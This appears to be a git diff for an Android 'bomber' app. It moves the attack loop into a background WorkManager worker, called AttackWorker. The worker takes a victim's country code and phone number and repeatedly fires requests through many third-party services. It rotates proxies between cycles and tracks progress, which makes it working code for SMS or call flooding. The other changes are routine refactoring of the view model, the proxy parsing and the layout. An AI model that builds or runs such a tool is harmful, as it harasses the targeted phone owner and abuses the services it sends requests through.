8d9a1b2..afc11a5 100644 --- a/app/src/main/java/com/dm/bomber/ui/MainModelFactory.java +++ b/app/src/main/java/com/dm/bomber/ui/MainModelFactory.java @@ -3,24 +3,26 @@ import androidx.annotation.NonNull; import androidx.lifecycle.ViewModel; import androidx.lifecycle.ViewModelProvider; - -import com.dm.bomber.MainRepository; +import androidx.work.WorkManager; public class MainModelFactory extends ViewModelProvider.NewInstanceFactory { private final MainRepository repository; + private final WorkManager workManager; - public MainModelFactory(MainRepository preferences) { + public MainModelFactory(MainRepository preferences, WorkManager workManager) { super(); this.repository = preferences; + this.workManager = workManager; } @NonNull @Override public T create(@NonNull Class modelClass) { if (modelClass == MainViewModel.class) { - return (T) new MainViewModel(repository); + return (T) new MainViewModel(repository, workManager); } + throw new IllegalArgumentException(); } } diff --git a/app/src/main/java/com/dm/bomber/MainRepository.java b/app/src/main/java/com/dm/bomber/ui/MainRepository.java similarity index 92% rename from app/src/main/java/com/dm/bomber/MainRepository.java rename to app/src/main/java/com/dm/bomber/ui/MainRepository.java index 216679a..955c07a 100644 --- a/app/src/main/java/com/dm/bomber/MainRepository.java +++ b/app/src/main/java/com/dm/bomber/ui/MainRepository.java @@ -1,4 +1,4 @@ -package com.dm.bomber; +package com.dm.bomber.ui; import android.content.Context; import android.content.SharedPreferences; @@ -6,7 +6,7 @@ import androidx.appcompat.app.AppCompatDelegate; import androidx.preference.PreferenceManager; -import com.dm.bomber.bomber.AuthProxy; +import com.dm.bomber.workers.AuthProxy; import java.net.InetSocketAddress; import java.net.Proxy; @@ -82,15 +82,15 @@ public List parseProxy(String proxyStrings) { String credential = null; if (proxy.contains(" ")) { - String[] data = proxy.split(" "); - String[] loginData = data[1].split(":"); + String[] data = proxy.split(" ", 2); + String[] loginData = data[1].split(":", 2); credential = Credentials.basic(loginData[0], loginData[1]); proxy = data[0]; } - String[] proxyData = proxy.split(":"); + String[] proxyData = proxy.split(":", 2); proxies.add(new AuthProxy(Proxy.Type.HTTP, InetSocketAddress.createUnresolved(proxyData[0], Integer.parseInt(proxyData[1])), credential)); } diff --git a/app/src/main/java/com/dm/bomber/ui/MainViewModel.java b/app/src/main/java/com/dm/bomber/ui/MainViewModel.java index 54bdc74..46702a8 100644 --- a/app/src/main/java/com/dm/bomber/ui/MainViewModel.java +++ b/app/src/main/java/com/dm/bomber/ui/MainViewModel.java @@ -3,53 +3,57 @@ import androidx.lifecycle.LiveData; import androidx.lifecycle.MutableLiveData; import androidx.lifecycle.ViewModel; +import androidx.work.Constraints; +import androidx.work.Data; +import androidx.work.NetworkType; +import androidx.work.OneTimeWorkRequest; +import androidx.work.WorkInfo; +import androidx.work.WorkManager; -import com.dm.bomber.MainRepository; -import com.dm.bomber.bomber.Attack; -import com.dm.bomber.bomber.Callback; +import com.dm.bomber.workers.AttackWorker; -import java.util.ArrayList; +import java.util.UUID; -public class MainViewModel extends ViewModel implements Callback { +public class MainViewModel extends ViewModel { private final MainRepository repository; + private final WorkManager workManager; - private Attack attack; + private UUID currentAttackId; - private int countryCode; - private String phoneNumber; + private final MutableLiveData proxyEnabled; + private final MutableLiveData promotionShown; - private MutableLiveData proxyEnabled; - private MutableLiveData promotionShown; - - private MutableLiveData currentProgress; - private MutableLiveData maxProgress; - private MutableLiveData attackStatus; + private final MutableLiveData currentProgress = new MutableLiveData<>(0); + private final MutableLiveData maxProgress = new MutableLiveData<>(0); + private final MutableLiveData attackStatus = new MutableLiveData<>(false); + private static final String ATTACK = "attack"; public static final String[] countryCodes = {"7", "380", ""}; - public MainViewModel(MainRepository preferences) { + public MainViewModel(MainRepository preferences, WorkManager workManager) { this.repository = preferences; - } + this.workManager = workManager; - @Override - public void onAttackEnd() { - attackStatus.postValue(false); + promotionShown = new MutableLiveData<>(repository.getPromotionShown()); + proxyEnabled = new MutableLiveData<>(repository.isProxyEnabled()); - repository.setLastCountryCode(countryCode); - repository.setLastPhone(phoneNumber); - } + workManager.getWorkInfosByTagLiveData(ATTACK).observeForever(workInfos -> { + if (workInfos.isEmpty()) { + return; + } - @Override - public void onAttackStart(int serviceCount, int numberOfCycles) { - attackStatus.postValue(true); + for (WorkInfo workInfo : workInfos) + if (workInfo.getId().equals(currentAttackId)) { + if (workInfo.getState().isFinished()) { + attackStatus.setValue(false); + } - maxProgress.postValue(serviceCount * numberOfCycles); - currentProgress.postValue(0); - } + Data data = workInfo.getProgress(); - @Override - public void onProgressChange(int progress) { - currentProgress.postValue(progress); + currentProgress.setValue(data.getInt(AttackWorker.KEY_PROGRESS, 0)); + maxProgress.setValue(data.getInt(AttackWorker.KEY_MAX_PROGRESS, 0)); + } + }); } public void showPromotion() { @@ -66,55 +70,49 @@ public void setProxyEnabled(boolean enabled) { proxyEnabled.setValue(enabled); } - public void startAttack(int countryCode, String phoneNumber, int numberOfCyclesNum) { - this.countryCode = countryCode; - this.phoneNumber = phoneNumber; - - attack = new Attack(this, countryCodes[countryCode], phoneNumber, numberOfCyclesNum, - repository.isProxyEnabled() ? repository.getProxy() : new ArrayList<>()); - - attack.start(); - } - - public Boolean stopAttack() { - if (attackStatus.getValue() != null && attackStatus.getValue()) - attack.interrupt(); - - return attackStatus.getValue(); - } - public LiveData isPromotionShown() { - if (promotionShown == null) - promotionShown = new MutableLiveData<>(repository.getPromotionShown()); - return promotionShown; } public LiveData isProxyEnabled() { - if (proxyEnabled == null) - proxyEnabled = new MutableLiveData<>(repository.isProxyEnabled()); - return proxyEnabled; } public LiveData getCurrentProgress() { - if (currentProgress == null) - currentProgress = new MutableLiveData<>(0); - return currentProgress; } public LiveData getMaxProgress() { - if (maxProgress == null) - maxProgress = new MutableLiveData<>(0); - return maxProgress; } public LiveData getAttackStatus() { - if (attackStatus == null) - attackStatus = new MutableLiveData<>(false); - return attackStatus; } + + public void startAttack(int countryCode, String phoneNumber, int numberOfCyclesNum) { + Data inputData = new Data.Builder() + .putString(AttackWorker.KEY_COUNTRY_CODE, countryCodes[countryCode]) + .putString(AttackWorker.KEY_PHONE, phoneNumber) + .putInt(AttackWorker.KEY_NUMBER_OF_CYCLES, numberOfCyclesNum) + .putBoolean(AttackWorker.KEY_PROXY_ENABLED, repository.isProxyEnabled()) + .build(); + + OneTimeWorkRequest attack = new OneTimeWorkRequest.Builder(AttackWorker.class) + .addTag(ATTACK) + .setInputData(inputData) + .setConstraints(new Constraints.Builder() + .setRequiredNetworkType(NetworkType.CONNECTED) + .build()) + .build(); + + currentAttackId = attack.getId(); + attackStatus.setValue(true); + + workManager.enqueue(attack); + } + + public void stopAttack() { + workManager.cancelWorkById(currentAttackId); + } } diff --git a/app/src/main/java/com/dm/bomber/bomber/Attack.java b/app/src/main/java/com/dm/bomber/workers/AttackWorker.java similarity index 55% rename from app/src/main/java/com/dm/bomber/bomber/Attack.java rename to app/src/main/java/com/dm/bomber/workers/AttackWorker.java index a265569..95e263d 100644 --- a/app/src/main/java/com/dm/bomber/bomber/Attack.java +++ b/app/src/main/java/com/dm/bomber/workers/AttackWorker.java @@ -1,12 +1,20 @@ -package com.dm.bomber.bomber; +package com.dm.bomber.workers; +import android.content.Context; import android.util.Log; +import androidx.annotation.NonNull; +import androidx.work.Data; +import androidx.work.Worker; +import androidx.work.WorkerParameters; + import com.dm.bomber.services.Service; import com.dm.bomber.services.Services; +import com.dm.bomber.ui.MainRepository; import org.jetbrains.annotations.NotNull; +import java.util.ArrayList; import java.util.List; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; @@ -16,21 +24,24 @@ import okhttp3.Request; import okhttp3.Response; -public class Attack extends Thread { +public class AttackWorker extends Worker { + private static final String TAG = "Attack"; - private final Callback callback; - private final String countryCode; - private final String phone; - private final int numberOfCycles; - private final List proxies; + public static final String KEY_COUNTRY_CODE = "country_code"; + public static final String KEY_PHONE = "phone"; + public static final String KEY_NUMBER_OF_CYCLES = "number_of_cycles"; + public static final String KEY_PROXY_ENABLED = "proxy_enabled"; + + public static final String KEY_PROGRESS = "progress"; + public static final String KEY_MAX_PROGRESS = "max_progress"; private int progress = 0; private CountDownLatch tasks; - private static final OkHttpClient.Builder clientBuilder = new OkHttpClient.Builder() - .callTimeout(10, TimeUnit.SECONDS) + private static OkHttpClient client = new OkHttpClient.Builder() + .callTimeout(7, TimeUnit.SECONDS) .addInterceptor(chain -> { Request request = chain.request(); Log.v(TAG, String.format("Sending request %s", request.url())); @@ -40,29 +51,34 @@ public class Attack extends Thread { response.request().url(), response.code())); return response; - }); - - public Attack(Callback callback, String countryCode, String phone, int cycles, List proxies) { - super(phone); + }).build(); - this.callback = callback; - this.countryCode = countryCode; - this.phone = phone; - this.proxies = proxies; + public AttackWorker(@NonNull Context context, @NonNull WorkerParameters workerParams) { + super(context, workerParams); - numberOfCycles = cycles; + setProgressAsync(new Data.Builder() + .putInt(KEY_PROGRESS, 0) + .putInt(KEY_MAX_PROGRESS, 0) + .build()); } + @NonNull @Override - public void run() { - List usableServices = Services.getUsableServices(countryCode); + public Result doWork() { + List proxies = getInputData().getBoolean(KEY_PROXY_ENABLED, false) ? + new MainRepository(getApplicationContext()).getProxy() : new ArrayList<>(); - callback.onAttackStart(usableServices.size(), numberOfCycles); - Log.i(TAG, String.format("Starting attack on +%s%s", countryCode, phone)); + String countryCode = getInputData().getString(KEY_COUNTRY_CODE); + String phone = getInputData().getString(KEY_PHONE); + + int numberOfCycles = getInputData().getInt(KEY_NUMBER_OF_CYCLES, 1); - clientBuilder.proxy(null); + List usableServices = Services.getUsableServices(countryCode); + Log.i(TAG, String.format("Starting attack on +%s%s", countryCode, phone)); - OkHttpClient client = null; + client = client.newBuilder() + .proxy(null) + .build(); for (int cycle = 0; cycle < numberOfCycles; cycle++) { Log.i(TAG, String.format("Started cycle %s", cycle)); @@ -71,18 +87,16 @@ public void run() { if (!proxies.isEmpty()) { AuthProxy authProxy = proxies.get(cycle % proxies.size()); - clientBuilder.proxy(authProxy) - .proxyAuthenticator(authProxy); - - client = clientBuilder.build(); + client = client.newBuilder() + .proxy(authProxy) + .proxyAuthenticator(authProxy) + .build(); } - if (client == null) - client = clientBuilder.build(); - for (Service service : usableServices) { + service.prepare(countryCode, phone); + try { - service.prepare(countryCode, phone); service.run(client, new com.dm.bomber.services.Callback() { @Override public void onError(Exception e) { @@ -98,7 +112,10 @@ public void onResponse(@NotNull Call call, @NotNull Response response) { } tasks.countDown(); - callback.onProgressChange(progress++); + setProgressAsync(new Data.Builder() + .putInt(KEY_PROGRESS, progress++) + .putInt(KEY_MAX_PROGRESS, usableServices.size() * numberOfCycles) + .build()); } }); } catch (StringIndexOutOfBoundsException e) { @@ -106,6 +123,9 @@ public void onResponse(@NotNull Call call, @NotNull Response response) { } } + if (isStopped()) + break; + try { tasks.await(); } catch (InterruptedException e) { @@ -113,7 +133,7 @@ public void onResponse(@NotNull Call call, @NotNull Response response) { } } - callback.onAttackEnd(); Log.i(TAG, String.format("Attack on +%s%s ended", countryCode, phone)); + return Result.success(); } } diff --git a/app/src/main/java/com/dm/bomber/bomber/AuthProxy.java b/app/src/main/java/com/dm/bomber/workers/AuthProxy.java similarity index 96% rename from app/src/main/java/com/dm/bomber/bomber/AuthProxy.java rename to app/src/main/java/com/dm/bomber/workers/AuthProxy.java index 3560ee6..414dabd 100644 --- a/app/src/main/java/com/dm/bomber/bomber/AuthProxy.java +++ b/app/src/main/java/com/dm/bomber/workers/AuthProxy.java @@ -1,4 +1,4 @@ -package com.dm.bomber.bomber; +package com.dm.bomber.workers; import androidx.annotation.NonNull; import androidx.annotation.Nullable; diff --git a/app/src/main/res/layout/activity_main.xml b/app/src/main/res/layout/activity_main.xml index be8bcfd..c1f9dde 100644 --- a/app/src/main/res/layout/activity_main.xml +++ b/app/src/main/res/layout/activity_main.xml @@ -113,13 +113,6 @@ - - + +